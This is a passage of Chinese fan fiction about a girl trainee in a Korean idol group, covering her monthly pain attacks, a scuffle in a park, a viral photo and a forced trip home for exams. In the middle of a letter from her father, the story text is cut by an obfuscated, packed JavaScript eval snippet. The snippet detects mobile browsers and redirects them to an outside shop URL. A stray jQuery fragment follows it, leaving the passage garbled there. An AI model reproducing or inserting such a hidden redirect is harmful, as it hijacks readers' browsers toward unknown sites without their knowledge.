门内的三人面面相觑,金珉奎想着刚刚自己视线中惨白的脸,“我觉得还是要去看看她的。”
落下一步离开的尹净汉止住脚步转身看向金珉奎,脑海里又是她捂着心脏浑身颤抖的样子。
“那我们一起去吧。”
左梧秋一边朝宿舍走一边用中文吐槽着,“我真服了,这玩意不都是晚上犯病吗?现在才几点啊就给我搞这个?别告诉我是什么阳气充足诱发了吧?”说完左梧秋还掏出手机再看了一眼,这才发现自己刚刚把时间看错了
“卧槽,原来是晚上八点了吗?我……淦!”左梧秋将手机收好又踉踉跄跄地朝宿舍走去。
但是身体带来的疼痛愈发地强烈,左梧秋实在是没忍住就进了一个小公园,扶着一个长椅就坐下了。
“我真特么的要收回之前说过的什么感谢自己出生在这么好的家庭。”疼到这样她也没忘记粗口吐槽,“谁家好家庭特么的会在每个月固定时间浑身疼的?要我说就是以前家里有人盗墓损了阴德我酱婶儿得……这疼的也太特么牲口了……”
每次到这个时候,左梧秋的脑子都会多出一点点不属于自己的记忆。
这次的自己是……
“道士?!”左梧秋因为疼痛和惊讶,让她声音都劈叉了,“平行世界的我到底是做什么的啊?怎么这又成道士了啊我日!”
她在观看记忆的时候身体貌似不会那么疼,她缓了缓气双手撑着膝盖就要走,结果腿一软跌进了一个怀里。
陌生的怀抱,陌生的温度,陌生的心跳。
过于陌生的气息让左梧秋瞬间身体绷紧同时茫然地看过去,她心想着:完犊子了,这人特么的谁啊?
“哟,这么漂亮的女孩都在这个地方寻刺激吗……你没男朋友吗?”
对方的声音一听就不是个好饼,左梧秋见状伸手推着对方的身体试图让自己躲开,失策,跑到了乱交圣地了。
“对不起,我不是……我要回家了。”
“我还没见过扑进人怀里还要走的人……”
左梧秋听着心都要凉了,她开始盘算着自己要花多少钱才能把这狗比治好同时还不会被左碧梧知道这事。
毕竟左碧梧真的很难瞒得住,她必须要从开头到结尾都很完美的借口才能要来医药费。
脑子里的记忆与眼前的身影逐渐重叠,左梧秋心里越来越烦躁,毕竟记忆里的自己正大杀四方,她却因为这个破记忆浑身疼的使不上力气。
“实在不行就直接把这个狗东西抹了脖。”
这个想法就像滴入清水中的墨汁一样迅速将清水染地漆黑,她颤抖着将手塞进裤兜里。
左梧秋捏着蝴蝶刀的一半手柄查看着合适的时机。两道熟悉的声音就如同净水器一样,将那漆黑的墨汁净化干净。
“你在做什么!”
“小秋!”
在对方愣神地功夫,左梧秋趁着身体没那么疼地推开对方,身体半蹲一个俄式大摆拳甩过去,直接把人打懵了。
左梧秋明白趁他病要他命,更何况刚刚的情形对方根本没打算放过自己,就像身经百战一般弯下腰用自己鞋底送了对方一个大逼兜。
因为左梧秋打的太快,他一起的人没有反应过来,左梧秋转身拉着两个人猛跑。
乱交圣地有一个好处就是灯光昏暗和没有监控,但坏处也是灯光昏暗和没有监控。
终于跑到了一处有灯光的街边,旁边的座椅上还坐着吃炸鸡的学生,左梧秋也在这个时候跟个丧尸一样一个浑身哆嗦。
“!?”这突然变异的样子给俩人都吓愣了。
左梧秋这时候才认出对方是金珉奎和尹净汉,她坐在椅子上嘿嘿一笑,“没事没事,别怕。”
“……所以,这个病是从你五岁的时候就存在了?”
金珉奎将买回来的饮料递给左梧秋,左梧秋点头表示没错,“以前这个时候我已经在家了,但今天不知道怎么回事把这件事忘了。”
“那你这样实在是……”金珉奎用一双小狗眼担忧地看着左梧秋,说出来的话也叽里咕噜地,“万一以后出道的话怎么办啊?”
“这不是还有哥你们吗?”左梧秋笑眯眯说着身体向后一仰,“再说家里有人说我命里有一个大劫,劫过了之后这个病就没了。”
“大劫?”
“是啊,如果我没挺过去那可就真真切切的挂掉咯。”
左梧秋笑着说出这句话时心情很洒脱,她一直对死亡抱有明确地欢迎态度,就算现在告诉她必须要死她都可以直接离开这个世界。
但这话落在金珉奎二人的耳中可不是什么好现象,两个人对视了一眼都从对方眼中看到了担忧。
“好了好了,我现在要回去了,你们明天不上课吗?”左梧秋站起身拿着那瓶饮料另一只手叉腰看着二人,就在这时身后的公路转过一辆车,远光灯打在左梧秋的身上让二人眼睛短暂地失明。
一阵风吹过,将樱花树吹落,她就站在樱花雨中笑眯眯地看着他们,苍白的脸色与樱花形成了强烈的对比,仿佛花瓣落下后她就会消失在这个世界上。
二人下意识地向她伸出手,左梧秋见状弯腰拉住二人的手,在二人看不见的时候咬了咬牙,随后露出灿烂地笑容。
“走啦走啦!快点送我回去啦!”
不远处闪过闪光灯,有人将这一幕记录下来。
穿着浅粉色卫衣的长发少女笑弯了眼眸,照片将花瓣定格在了她的颧骨上,像极了腮红。
手掌处传来地热度让二人回过神来,低头看着面前的女孩没有说话。
左梧秋回到寝室时,凛奈刚好发出一声哀嚎,她以为是凛奈抽卡又没出自己想要的角色。
——不是很懂你们赌狗的心态。
“我回来了——”
左梧秋用日语喊着,下一秒就听到凛奈的房间发出一阵凌乱地声音,站在玄关的左梧秋只觉得凛奈能手脚乱爬出这个动作很神奇。
“你上趋势了我的秋啊!”
凛奈嚎着将手机贴在左梧秋的眼前,左梧秋眨眨眼默默向后退一步同时将头向后仰才看清手机的画面。
“怎么这个都拍的这么清楚?”左梧秋惊讶地看着那张图,“话说我也没看到附近有人拍照啊?”
“别管那些!你是怎么回事啊!居然这么好看呜呜呜呜樱花女孩看得我心都要化了。”
左梧秋一把拉起凛奈将她拉到客厅,“这个真的不是我的问题,话说今天怎么没见你去练习室?”
“……”
这一句话给凛奈弄沉默了,她斜眼看着左梧秋,“你以为所有人都像你一样不用上学吗?”
“啊,其实也不是不用上学啦,我只是平常不用去上课,但是考试还是要考的。”
左梧秋说完在沙发旁边掏出了一本书举起来晃一晃。
“那你什么时候考试?”
“……”
这下左梧秋沉默,大概一分钟过去她才僵硬地看向窗外露出林黛玉的模样,“我想我是赶不回去考试了……”
“?”
第二天,凛奈在遇到文俊辉的时候提了一嘴这件事,文俊辉眉头一皱发现事情不对劲,到了练习室就将左梧秋拉起来。
“咋了这是?”左梧秋大碴子味扑面而来,搞得她面相都有点变了的感觉。
这个时候的中国Line就只有三个人,姚明明对左梧秋的态度不算好也不算坏,但他看着昨晚直接上了全球趋势的那张图还是有些羡慕的。
“我们上了全球趋势的樱花女孩怎么会忘记要考试这件事呢?”
“……呃,你们听我解释……”左梧秋尴尬地说着。
“什么时候考试?”文俊辉没管别的,严肃地表情看得左梧秋大气都不敢喘一下,小心翼翼地回了一句“后天。”
“那还行,时间还够的,我现在就去跟胜澈哥说这事。”
文俊辉完全没给左梧秋一点点反应的机会,崔胜澈听到这事后觉得很严重,于是就将这件事跟副社长说了。
副社长一听这还了得,赶紧把孩子放回去考试。
左梧秋回过神来的时候自己已经被打包扔上了飞机。
“哈?”
下了飞机的左梧秋才意识到自己以一种诡异的方式回了国。
左梧秋没办法回了家,但是家里好像没有人的样子,左梧秋看着餐桌上的信时愣了一下就过去拿起来。
“亲爱的球球……
我经过这一年的思考认为应该去意大利一趟,你从很早就跟我说去意大利见你外公外婆一次,但每次我都在逃避。
看你去韩国实现自己的梦想时我很欣慰,因为你的妈妈罗塞塔就是这样的女人,她很清楚地明白自己想要什么,定下了一个目标就算路途曲折也要去实现它。
罗塞塔是如同鲜花艳丽一般的女人,她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14204142|150886||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的性格吸引了我,然后她才会抛下一切自己嫁到东北来……
不知道再说些什么,总之,你在韩国那边好好的,我去意大利一趟。
我有些想她了。
左有义书。”
左梧秋皱眉看着左有义留下来的矫情小作文有些不明所以,但他去意大利老家也总归是一件好事。
本来左梧秋是不需要去考试的,她当时就是想逗一逗哥哥姐姐们,结果他们完全当真,这一点让她有些哭笑不得。
于是,被迫回国的左梧秋在家住了一晚上后又坐飞机回去了。
“?”
大家看到议论中的正在考试的对象出现在自己眼前时满脑袋问号。
左梧秋眨眨眼然后露出憨厚地笑容。
“对不起,其实我是不需要考试的。”
随着话音落下,左梧秋仿佛看见满屋子都飘着问号。
“因为我平常也不用去学校,只有期末考试的时候去一次。”左梧秋想到这笑容更甚,“毕竟我是被保送的嘛。”
“啪。”
一道物品掉落在地面的声音打断了安静地练习室,左梧秋转头就看到李灿呆愣地将手中拎着的塑料袋仍在地上,旁边是同样惊讶地一起过来的几人。
“你说……保送?”
崔胜澈呆呆地看着旁边的文俊辉似乎是在询证,文俊辉也没听过这事,又将目光投到了凛奈的身上,根本没有想到保送这件事的凛奈也傻了,呆呆地看着左梧秋。
“你怎么没说啊?”
左梧秋眨眨眼无辜地说着,“你们也没有给我解释的余地啊?我本来是想逗逗你们的,结果一点机会都没给我,直接把我扔飞机上了。”
其实左梧秋也没料到自己居然能这么聪明,虽然是有些凡尔赛发言,但实际上在左梧秋还是小豆芽菜的时候大家都以为这孩子是好看的痴呆,长大之后估计就是一个傻乎乎的孩子,但经过几次犯病后就跟打通了任督六脉一样,成绩是跟坐了可以时间跃迁的飞船一般突飞猛进,甚至还能抽出时间去学自己喜欢的东西。
这让左有义愁的直挠头,他总觉得这孩子是被夺舍了,结果他师父说这孩子是天赋异禀,身负天道相护的气运之子,但代价就是每个月的十五都要承受一次蚀骨钻心般的疼痛。
豆芽菜哪能知道这些,她只是个小鼻嘎,在五岁后这个疼痛就一直伴随着她,从最初的不解到崩溃再到现在的习惯用了两年。
再提一嘴,老左家是真的有家底的,不论是地上还是地下,人脉广到离谱。
左有义的师父曾很多次提出让她走进那个圈子,让她拜左有义的朋友为师,但左有义一直不许这种事情发生,尽管她真的很有天赋。
后来他的师父因为肺癌去世,他们也就没再提过这些事。
不过左梧秋该危险的时候一点也没少过,今天被哪个东西吓了,明天就被那个家伙摸了。
再加上左梧秋各种意义上的身价也很高,是不是就给大家表演一个突然被绑。
左梧秋的童年可以用兵荒马乱来形容。
但是这么兵荒马乱的生活,左梧秋就跟个没事人一样,在第数不清多少次的被绑后她悟了,反手就去报了柔术和散打,然后又以一种诡异的速度学到能把老师打的满地乱爬。
这种跟有系统加持的变态进步让左有义愁的每次抽烟都是论包下去的,每当左有义想着自己当初对左梧秋的期望实际上是快乐活着就行,而好不容易说服自己的老父亲一转眼看到拎着拳击手套离开的左梧秋又崩溃地捂住了脸。
最后让他释怀的还是大女儿左碧梧说的话。
“有这么天才近乎妖孽的小说女主般的女儿你就偷着乐去吧,起码她有自保的能力,我们家也不差钱,她想做什么就做什么,不上学都可以。”
左有义对于学历这种事情跟他师父一样严厉的狠,左梧秋是真的不愿意上学面对那群幼稚到无语的同学,孩子咬咬牙从小学到现在的初一直接给自己弄上了保送。
要不说老左家的孩子都是疯子,左有义还不信他朋友们说自己是疯子的事实,看着年仅11岁但有时候看着跟自己同龄的脸,他还是会崩溃地捂住脸。
左梧秋为此表示左有义就是单纯的想多了,反正她一个月有半个月甚至一个月见不到老爹,更离谱的事情多了去了。
想到这里,左梧秋觉得不对劲,她爹不会是根本没去意大利吧?